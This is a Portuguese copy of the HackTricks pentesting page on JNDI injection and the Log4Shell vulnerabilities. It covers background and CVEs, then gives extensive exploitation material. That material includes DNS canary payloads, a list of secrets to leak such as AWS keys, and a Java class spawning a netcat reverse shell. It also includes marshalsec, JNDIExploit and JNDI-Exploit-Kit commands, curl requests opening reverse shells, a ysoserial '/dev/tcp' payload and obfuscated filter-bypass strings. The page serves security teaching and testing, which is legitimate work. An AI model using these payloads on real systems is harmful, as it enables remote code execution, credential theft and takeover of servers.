mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 04:23:33 +00:00
478 lines
38 KiB
Markdown
478 lines
38 KiB
Markdown
# JNDI - Java Naming and Directory Interface & Log4Shell
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
***
|
||
|
||
## Informações básicas
|
||
|
||
O JNDI está presente no Java desde o final dos anos 1990. É um serviço de diretório que **permite que um programa Java encontre dados por meio de um diretório usando um serviço de nome**. Um serviço de nome associa valores (bindings), para que possa ser obtido por meio de sua referência no diretório.
|
||
|
||
O JNDI possui uma série de **interfaces de provedor de serviços** (SPIs) que permitem que ele use uma variedade de serviços de diretório. O objetivo do JNDI é obter dados de outros sistemas de forma muito fácil. Você pode até mesmo obter objetos Java remotamente, e é aí que surge um problema.
|
||
|
||
Por exemplo, existem SPIs para o **CORBA COS** (Common Object Service), o **Java RMI** (Remote Method Interface) Registry e o **LDAP**.
|
||
|
||
![](<../../.gitbook/assets/image (627).png>)
|
||
|
||
### Referência de nome JNDI
|
||
|
||
Para recuperar Objetos Java, você pode serializá-los e salvar a representação binária. Mas há casos em que isso não funcionará (talvez porque os dados sejam muito grandes ou qualquer outra coisa).\
|
||
Para salvar Objetos Java de forma mais fácil, são usadas **Referências de Nome**.\
|
||
Existem 2 tipos de Referências de Nome:
|
||
|
||
* **Endereços de Referência**: Isso indica o endereço do Objeto (_rmi://servidor/ref_), então o **objeto será recuperado desse endereço**.
|
||
* **Fábrica Remota**: Nesse caso, uma **classe de fábrica remota** será apontada na referência JNDI, então, seguindo o endereço JNDI, a classe remota será obtida da fábrica remota e a **classe será baixada e carregada**.
|
||
|
||
Isso é perigoso porque **atacantes podem fazer o sistema carregar objetos arbitrários e executar código arbitrário**, portanto, existem algumas proteções:
|
||
|
||
* **RMI**: `java.rmi.server.useCodeabseOnly = true` por padrão desde o **JDK 7u21**, caso contrário, permitirá carregar objetos Java personalizados remotamente. Além disso, mesmo que a proteção esteja desativada, um **Gerenciador de Segurança** é aplicado para configurar o que pode ser carregado.
|
||
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` por padrão desde o **JDK** **6u141, 7u131, 8u121**, e não permitirá a execução de objetos Java arbitrários baixados. Mas se isso for definido como `true`, permitirá e **nenhum Gerenciador de Segurança será aplicado**.
|
||
* **CORBA**: Não há propriedade a ser configurada, mas o **Gerenciador de Segurança é sempre aplicado**.
|
||
|
||
Além disso, o **Gerenciador de Nomes**, aquele que vai seguir os links JNDI, não possui nenhum Gerenciador de Segurança ou propriedade a ser configurada, então sempre tentará obter o objeto.
|
||
|
||
Como você pode ver, as **proteções em geral não são suficientes** porque não há proteção contra o carregamento de JNDI de endereços aleatórios e as proteções de RMI, LDAP e CORBA podem ser contornadas (dependendo da configuração) para **carregar objetos Java arbitrários** ou para **carregar objetos Java** que abusarão dos componentes existentes na aplicação como **gadgets para executar código arbitrário**.
|
||
|
||
Exemplo de URLs para abusar do JNDI:
|
||
|
||
* _rmi://servidor-do-atacante/bar_
|
||
* _ldap://servidor-do-atacante/bar_
|
||
* _iiop://servidor-do-atacante/bar_
|
||
|
||
### Exemplo de JNDI
|
||
|
||
![](<../../.gitbook/assets/image (655) (1) (1).png>)
|
||
|
||
Mesmo que você tenha definido um **`PROVIDER_URL`**, você pode indicar um diferente em uma pesquisa e ele será acessado: `ctx.lookup("<url-controlada-pelo-atacante>")` e é isso que um atacante irá abusar para carregar objetos arbitrários de um sistema controlado por ele.
|
||
### CORBA
|
||
|
||
Um **Referência de Objeto Interoperável (IOR)** é uma referência CORBA ou RMI-IIOP que identifica unicamente um objeto em um servidor CORBA remoto. Os IORs podem estar em formato binário ou representação hexadecimal em string do binário.\
|
||
Entre outras informações, ele contém o **ID do Tipo** (um identificador único para uma interface) e o **Codebase** (local remoto usado para obter a classe stub).\
|
||
Observe que **por padrão, o CORBA não pode ser abusado**.\
|
||
Isso requer:
|
||
|
||
* Um **Gerenciador de Segurança deve ser instalado**
|
||
* A conexão com o **codebase controlado pelo atacante deve ser permitida** pelo Gerenciador de Segurança. Existem diferentes maneiras de permitir isso:
|
||
* Permissão de soquete: `permissions java.net.SocketPermission "*:1098-1099", "connect";`
|
||
* Permissão de arquivo permitindo a leitura de todos os arquivos: `permission java.io.FilePermission "<<ALL FILES>>", "read";`
|
||
* Permissão de arquivo para ler a pasta onde o atacante pode fazer upload dos exploits (classes ou arquivo zip)
|
||
|
||
Você pode encontrar **políticas de fornecedores que permitem isso por padrão**.
|
||
|
||
### RMI
|
||
|
||
Como indicado na seção anterior de **Referência de Nome JNDI, por padrão, o RMI não permitirá o download de Classes Java arbitrários**. E além disso, mesmo que permita, você precisará **burlar as políticas do Gerenciador de Segurança** (na seção anterior aprendemos que isso era possível com o CORBA).
|
||
|
||
### LDAP
|
||
|
||
Primeiro, precisamos distinguir entre uma Pesquisa e uma Consulta.\
|
||
Uma **pesquisa** usará uma URL como `ldap://localhost:389/o=JNDITutorial` para encontrar o objeto JNDITutorial de um servidor LDAP e **recuperar seus atributos**.\
|
||
Uma **consulta** é destinada a **serviços de nomes** pois queremos obter **qualquer coisa vinculada a um nome**.
|
||
|
||
Se a pesquisa LDAP foi invocada com **SearchControls.setReturningObjFlag() com `true`, então o objeto retornado será reconstruído**.
|
||
|
||
Portanto, existem várias maneiras de atacar essas opções.\
|
||
Um **atacante pode envenenar registros LDAP introduzindo payloads** neles que serão executados nos sistemas que os coletam (muito útil para **comprometer dezenas de máquinas** se você tiver acesso ao servidor LDAP). Outra maneira de explorar isso seria realizar um **ataque MitM em uma pesquisa LDAP**, por exemplo.
|
||
|
||
Caso você possa **fazer um aplicativo resolver uma URL LDAP JNDI**, você pode controlar o LDAP que será pesquisado e poderia enviar de volta o exploit (log4shell).
|
||
|
||
#### Exploração de deserialização
|
||
|
||
![](<../../.gitbook/assets/image (654) (1) (1) (1).png>)
|
||
|
||
O **exploit é serializado** e será desserializado.\
|
||
Caso `trustURLCodebase` seja `true`, um atacante pode fornecer suas próprias classes no codebase, caso contrário, ele precisará abusar de gadgets no classpath.
|
||
|
||
#### Exploração de Referência JNDI
|
||
|
||
É mais fácil atacar esse LDAP usando **referências de JavaFactory**:
|
||
|
||
![](<../../.gitbook/assets/image (660) (1) (1).png>)
|
||
|
||
## Vulnerabilidade Log4Shell
|
||
|
||
A vulnerabilidade é introduzida no Log4j porque ele suporta uma [**sintaxe especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) na forma `${prefix:name}`, onde `prefix` é um dos diferentes [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) onde `name` deve ser avaliado. Por exemplo, `${java:version}` é a versão atual em execução do Java.
|
||
|
||
No [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313), foi adicionado um Lookup `jndi` da seguinte forma: "O JndiLookup permite que variáveis sejam recuperadas via JNDI. Por padrão, a chave será prefixada com java:comp/env/, no entanto, se a chave contiver um **":" nenhum prefixo será adicionado**."
|
||
|
||
Com um **: presente** na chave, como em `${jndi:ldap://example.com/a}`, não há prefixo e o **servidor LDAP é consultado para o objeto**. E esses Lookups podem ser usados tanto na configuração do Log4j quanto quando as linhas são registradas.
|
||
|
||
Portanto, a única coisa necessária para obter RCE é uma **versão vulnerável do Log4j processando informações controladas pelo usuário**. E como esta é uma biblioteca amplamente usada por aplicativos Java para registrar informações (incluindo aplicativos voltados para a Internet), era muito comum ter log4j registrando, por exemplo, cabeçalhos HTTP recebidos, como o User-Agent. No entanto, o log4j **não é usado apenas para registrar informações HTTP, mas qualquer entrada** e dados indicados pelo desenvolvedor.
|
||
|
||
## CVEs do Log4Shell
|
||
|
||
* [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Crítico]**: A vulnerabilidade original 'Log4Shell' é uma falha de [desserialização não confiável](https://cwe.mitre.org/data/definitions/502.html). Classificada como crítica em gravidade, essa vulnerabilidade recebe uma pontuação de 10 na escala [CVSS](https://www.first.org/cvss/) e **concede a capacidade de execução de código remoto (RCE) a atacantes não autenticados**, permitindo a tomada completa do sistema.\
|
||
\
|
||
Reportado por Chen Zhaojun da Equipe de Segurança da Alibaba Cloud para a Apache em 24 de novembro, o CVE-2021-44228 afeta as configurações padrão de vários frameworks da Apache, incluindo Apache Struts2, Apache Solr, Apache Druid, Apache Flink e outros.\
|
||
\
|
||
Sendo a mais perigosa de todas, essa vulnerabilidade se esconde no componente [log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core), limitado às versões 2.x: da 2.0-beta9 até e incluindo a 2.14.1. Uma correção para o Log4Shell foi lançada na versão 2.15.0, mas considerada incompleta (continue lendo).\
|
||
\
|
||
O analista de inteligência de ameaças Florian Roth compartilhou regras Sigma \[[1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)] que podem ser usadas como uma das defesas.\\
|
||
* [**CVE-2021-45046**](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) \[**Crítico**, anteriormente Baixo]: Este é uma falha de Negação de Serviço (DoS) com uma pontuação de ~~3.7~~ 9.0. A falha surgiu como resultado de uma **correção incompleta que foi implementada na versão 2.15.0** para o CVE-2021-44228. Embora a correção aplicada ao 2.15.0 tenha resolvido em grande parte a falha, esse não foi exatamente o caso para certas **configurações não padrão**.\
|
||
\
|
||
O Log4j 2.15.0 faz "uma tentativa de melhor esforço" para **restringir as consultas JNDI LDAP para \_localhost**\_ por padrão. No entanto, **atacantes** que têm **controle** sobre os dados de entrada do **Thread Context Map (MDC)** podem criar payloads maliciosos por meio dos padrões de Consulta JNDI para causar ataques de DoS. Isso se aplica a configurações não padrão em que um Layout de Padrão não padrão é usado, usando um Context Lookup, por exemplo, \$${ctx:loginId}, ou um padrão de Thread Context Map (%X, %mdc ou %MDC).\
|
||
\
|
||
A **burla retirada deste** [**tweet**](https://twitter.com/marcioalm/status/1471740771581652995) foi:\
|
||
_Aqui está um PoC de como burlar as verificações allowedLdapHost e allowedClasses no Log4J 2.15.0 para obter RCE: **`${jndi:ldap://127.0.0.1#evilhost.com:1389/a}`** e para burlar allowedClasses, basta escolher um nome para uma classe no JDK. A desserialização ocorrerá normalmente._\
|
||
\_\_\
|
||
\_\_"A versão 2.16.0 do Log4j corrige esse problema removendo o suporte a padrões de busca de mensagens e desabilitando a funcionalidade JNDI por padrão", afirma o aviso do NVD. Para aqueles na versão 2.12.1, uma correção foi retroportada para a versão 2.12.2.\\
|
||
* [**CVE-2021-4104**](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Alto]**: Nós dissemos que as versões do Log4j 2.x eram vulneráveis? E o **Log4j 1.x**?\
|
||
\
|
||
Embora anteriormente considerado seguro, o Log4Shell encontrou uma maneira de se esconder no Log4j mais antigo também. Essencialmente, **configurações não padrão de instâncias do Log4j 1.x usando a classe \_JMSAppender**\_\*\* também se tornam suscetíveis à falha de desserialização não confiável\*\*.\
|
||
\
|
||
Embora seja uma variante menos grave do CVE-2021-44228, essa CVE afeta todas as versões dos componentes [log4j:log4j](https://search.maven.org/artifact/log4j/log4j) e [org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j) para os quais existem apenas lançamentos 1.x. Como essas são versões [fora de suporte](https://logging.apache.org/log4j/1.2/), **uma correção para a versão 1.x não existe em nenhum lugar**, e você deve fazer upgrade para o _log4j-core_ 2.17.0. (Aparentemente, a versão 1.0 não é vulnerável).\\
|
||
* [**CVE-2021-42550**](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderado]:** Essa é uma vulnerabilidade no **framework de registro Logback**. Sucessor da biblioteca Log4j 1.x, o Logback afirma continuar de onde o log4j 1.x parou.\
|
||
\
|
||
Até a semana passada, o Logback também [se gabava](https://archive.md/QkzIy) de ser "não relacionado ao log4j 2.x, \[logback] não compartilha suas vulnerabilidades".\
|
||
\
|
||
Essa suposição rapidamente desapareceu quando o CVE-2021-4104 foi descoberto como impactando também o Log4j 1.x, e a possibilidade de **impacto potencial no Logback** foi [avaliada](https://jira.qos.ch/browse/LOGBACK-1591). Novas versões do Logback, 1.3.0-alpha11 e 1.2.9, que abordam essa vulnerabilidade menos grave, foram lançadas [released](https://search.maven.org/artifact/ch.qos.logback/logback-classic).\\
|
||
* **CVE-2021-45105** **\[Alto]**: Descobriu-se que o **Log4j 2.16.0** é **vulnerável a uma falha de DoS** classificada como 'Alta' em gravidade. A Apache lançou uma versão 2.17.0 do log4j para corrigir o CVE. Mais detalhes sobre esse desenvolvimento são fornecidos no [último relatório](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) do BleepingComputer.
|
||
* [**CVE-2021-44832**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/): Essa nova CVE afeta a **versão 2.17** do log4j. Essa vulnerabilidade **requer que o atacante controle o arquivo de configuração do log4j**, pois é possível indicar uma URL JDNI em um JDBCAppender configurado. Para obter informações sobre a **vulnerabilidade e exploração**, [**leia esta informação**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||
|
||
## Exploração do Log4Shell
|
||
|
||
### Descoberta
|
||
|
||
Essa vulnerabilidade é muito fácil de descobrir, pois ela enviará pelo menos uma **solicitação DNS** para o endereço que você indicar em sua carga útil. Portanto, cargas úteis como:
|
||
|
||
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (usando [canarytokens.com](https://canarytokens.org/generate))
|
||
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (usando [interactsh](https://github.com/projectdiscovery/interactsh))
|
||
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (usando Burp Suite)
|
||
* `${jndi:ldap://2j4ayo.dnslog.cn}` (usando [dnslog](http://dnslog.cn))
|
||
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` usando (usando [huntress](https://log4shell.huntress.com))
|
||
|
||
Observe que **mesmo que uma solicitação DNS seja recebida, isso não significa que a aplicação seja explorável** (ou mesmo vulnerável), você precisará tentar explorá-la.
|
||
|
||
{% hint style="info" %}
|
||
Lembre-se de que, para **explorar a versão 2.15**, você precisa adicionar a **burla de verificação de localhost**: ${jndi:ldap://**127.0.0.1#**...}
|
||
{% endhint %}
|
||
|
||
#### **Descoberta Local**
|
||
|
||
Procure por **versões locais vulneráveis** da biblioteca com:
|
||
```bash
|
||
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
|
||
```
|
||
### **Verificação**
|
||
|
||
Algumas das plataformas listadas anteriormente permitirão que você insira alguns dados variáveis que serão registrados quando forem solicitados.\
|
||
Isso pode ser muito útil para 2 coisas:
|
||
|
||
* **Verificar** a vulnerabilidade
|
||
* **Exfiltrar informações** abusando da vulnerabilidade
|
||
|
||
Por exemplo, você poderia solicitar algo como:\
|
||
ou como `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** e se uma **solicitação DNS for recebida com o valor da variável de ambiente**, você saberá que a aplicação é vulnerável.
|
||
|
||
Outras informações que você poderia tentar **vazar**:
|
||
```
|
||
${env:AWS_ACCESS_KEY_ID}
|
||
${env:AWS_CONFIG_FILE}
|
||
${env:AWS_PROFILE}
|
||
${env:AWS_SECRET_ACCESS_KEY}
|
||
${env:AWS_SESSION_TOKEN}
|
||
${env:AWS_SHARED_CREDENTIALS_FILE}
|
||
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
|
||
${env:HOSTNAME}
|
||
${env:JAVA_VERSION}
|
||
${env:PATH}
|
||
${env:USER}
|
||
${hostName}
|
||
${java.vendor}
|
||
${java:os}
|
||
${java:version}
|
||
${log4j:configParentLocation}
|
||
${sys:PROJECT_HOME}
|
||
${sys:file.separator}
|
||
${sys:java.class.path}
|
||
${sys:java.class.path}
|
||
${sys:java.class.version}
|
||
${sys:java.compiler}
|
||
${sys:java.ext.dirs}
|
||
${sys:java.home}
|
||
${sys:java.io.tmpdir}
|
||
${sys:java.library.path}
|
||
${sys:java.specification.name}
|
||
${sys:java.specification.vendor}
|
||
${sys:java.specification.version}
|
||
${sys:java.vendor.url}
|
||
${sys:java.vendor}
|
||
${sys:java.version}
|
||
${sys:java.vm.name}
|
||
${sys:java.vm.specification.name}
|
||
${sys:java.vm.specification.vendor}
|
||
${sys:java.vm.specification.version}
|
||
${sys:java.vm.vendor}
|
||
${sys:java.vm.version}
|
||
${sys:line.separator}
|
||
${sys:os.arch}
|
||
${sys:os.name}
|
||
${sys:os.version}
|
||
${sys:path.separator}
|
||
${sys:user.dir}
|
||
${sys:user.home}
|
||
${sys:user.name}
|
||
|
||
Any other env variable name that could store sensitive information
|
||
```
|
||
### Informações sobre RCE
|
||
|
||
{% hint style="info" %}
|
||
Os hosts que executam versões do JDK superiores a 6u141, 7u131, 8u121 estarão protegidos contra o vetor de carregamento de classe LDAP, **MAS NÃO contra o vetor de desserialização**. Isso ocorre porque `com.sun.jndi.ldap.object.trustURLCodebase` está desativado por padrão, portanto, o JNDI não pode carregar um código remoto usando LDAP. No entanto, devemos ressaltar que a desserialização e vazamentos de variáveis ainda são possíveis.\
|
||
Isso significa que, para **explorar as versões mencionadas**, você precisará **abusar de algum gadget confiável** que exista na aplicação Java (usando ysoserial ou JNDIExploit, por exemplo). Mas para explorar versões mais baixas, você pode fazer com que elas carreguem e executem classes arbitrariamente (o que torna o ataque mais fácil).
|
||
|
||
Para **mais informações** (_como limitações nos vetores RMI e CORBA_), **verifique a seção de Referência de Nomes JNDI anterior** ou [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||
{% endhint %}
|
||
|
||
### RCE - Marshalsec com payload personalizado
|
||
|
||
_Este truque é totalmente retirado da **caixa THM:**_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)\_\_
|
||
|
||
Para esse exploit, a ferramenta [**marshalsec**](https://github.com/mbechler/marshalsec) (faça o download de uma [**versão jar aqui**](https://github.com/RandomRobbieBF/marshalsec-jar)) será usada para criar um servidor de referência LDAP para direcionar conexões para nosso servidor HTTP secundário, onde o exploit será servido:
|
||
```bash
|
||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
||
```
|
||
Queremos que a vítima carregue o código que nos enviará um shell reverso, então você pode criar um arquivo java chamado Exploit.java com o seguinte conteúdo:
|
||
|
||
{% code title="" %}
|
||
```java
|
||
public class Exploit {
|
||
static {
|
||
try {
|
||
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
|
||
} catch (Exception e) {
|
||
e.printStackTrace();
|
||
}
|
||
}
|
||
}
|
||
```
|
||
{% endcode %}
|
||
|
||
Crie o **arquivo de classe** executando: `javac Exploit.java -source 8 -target 8` e em seguida execute um **servidor HTTP** no mesmo diretório em que o arquivo de classe foi criado: `python3 -m http.server`.\
|
||
O **servidor LDAP do marshalsec deve estar apontando para este servidor HTTP**.\
|
||
Em seguida, você pode fazer com que o **servidor web vulnerável execute a classe de exploit** enviando um payload como:
|
||
```bash
|
||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||
```
|
||
### RCE - **JNDIExploit**
|
||
|
||
{% hint style="info" %}
|
||
Observe que, se o Java não estiver configurado para carregar um código remoto usando o LDAP, esse exploit personalizado não funcionará. Nesse caso, você precisa abusar de uma classe confiável para executar código arbitrário.
|
||
{% endhint %}
|
||
|
||
Para este exemplo, você pode simplesmente executar este **servidor web vulnerável ao log4shell** na porta 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_no README você encontrará como executá-lo_). Este aplicativo vulnerável está registrando com uma versão vulnerável do log4shell o conteúdo do cabeçalho da solicitação HTTP _X-Api-Version_.
|
||
|
||
Em seguida, você pode baixar o arquivo jar do **JNDIExploit** e executá-lo com:
|
||
```bash
|
||
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
|
||
unzip JNDIExploit.v1.2.zip
|
||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||
```
|
||
Depois de ler o código por apenas alguns minutos, em _com.feihong.ldap.LdapServer_ e _com.feihong.ldap.HTTPServer_, você pode ver como os **servidores LDAP e HTTP são criados**. O servidor LDAP entenderá qual payload precisa ser servido e redirecionará a vítima para o servidor HTTP, que servirá o exploit.\
|
||
Em _com.feihong.ldap.gadgets_, você pode encontrar **alguns gadgets específicos** que podem ser usados para executar a ação desejada (potencialmente executar código arbitrário). E em _com.feihong.ldap.template_, você pode ver as diferentes classes de modelo que **gerarão os exploits**.
|
||
|
||
Você pode ver todos os exploits disponíveis com **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Alguns úteis são:
|
||
```bash
|
||
ldap://null:1389/Basic/Dnslog/[domain]
|
||
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
|
||
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
|
||
# But there are a lot more
|
||
```
|
||
Então, no nosso exemplo, já temos o aplicativo vulnerável em execução no Docker. Para atacá-lo:
|
||
```bash
|
||
# Create a file inside of th vulnerable host:
|
||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
|
||
|
||
# Get a reverse shell (only unix)
|
||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
|
||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
|
||
```
|
||
Ao enviar os ataques, você verá alguma saída no terminal onde executou **JNDIExploit-1.2-SNAPSHOT.jar**.
|
||
|
||
Lembre-se de verificar `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` para outras opções de exploração. Além disso, caso precise, você pode alterar a porta dos servidores LDAP e HTTP.
|
||
|
||
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
||
|
||
De maneira semelhante ao exploit anterior, você pode tentar usar o [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para explorar essa vulnerabilidade.\
|
||
Você pode gerar as URLs para enviar à vítima executando:
|
||
```bash
|
||
# Get reverse shell in port 4444 (only unix)
|
||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
|
||
|
||
# Execute command
|
||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||
```
|
||
_Este ataque usando um objeto Java gerado personalizado funcionará em laboratórios como a sala solar do THM. No entanto, isso geralmente não funcionará (porque por padrão o Java não está configurado para carregar um código remoto usando LDAP), acredito que porque não está abusando de uma classe confiável para executar código arbitrário._
|
||
|
||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||
|
||
Essa opção é realmente útil para atacar **versões do Java configuradas para confiar apenas em classes especificadas e não em todos**. Portanto, **ysoserial** será usado para gerar **serializações de classes confiáveis** que podem ser usadas como gadgets para **executar código arbitrário** (_a classe confiável abusada pelo ysoserial deve ser usada pelo programa Java da vítima para que o exploit funcione_).
|
||
|
||
Usando **ysoserial** ou [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified), você pode criar o exploit de deserialização que será baixado pelo JNDI:
|
||
```bash
|
||
# Rev shell via CommonsCollections5
|
||
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||
```
|
||
Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para gerar **links JNDI** onde o exploit estará aguardando conexões das máquinas vulneráveis. Você pode servir **diferentes exploits que podem ser gerados automaticamente** pelo JNDI-Exploit-Kit ou até mesmo seus **próprios payloads de deserialização** (gerados por você ou pelo ysoserial).
|
||
```bash
|
||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||
```
|
||
![](<../../.gitbook/assets/image (642) (1) (1).png>)
|
||
|
||
Agora você pode facilmente usar um link JNDI gerado para explorar a vulnerabilidade e obter um **shell reverso** apenas enviando para uma versão vulnerável do log4j: **`${ldap://10.10.14.10:1389/generated}`**
|
||
|
||
### Bypasses
|
||
```java
|
||
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
|
||
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
|
||
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
|
||
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
|
||
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
|
||
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
|
||
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
|
||
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
|
||
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||
```
|
||
### Scanners Automáticos
|
||
|
||
* [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
|
||
* [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
|
||
* [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell)
|
||
* [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner)
|
||
* [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
|
||
* [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
|
||
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
|
||
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Encontre bibliotecas vulneráveis localmente
|
||
|
||
### Laboratórios para testar
|
||
|
||
* [**Máquina LogForge HTB**](https://app.hackthebox.com/tracks/UHC-track)
|
||
* [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
|
||
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
|
||
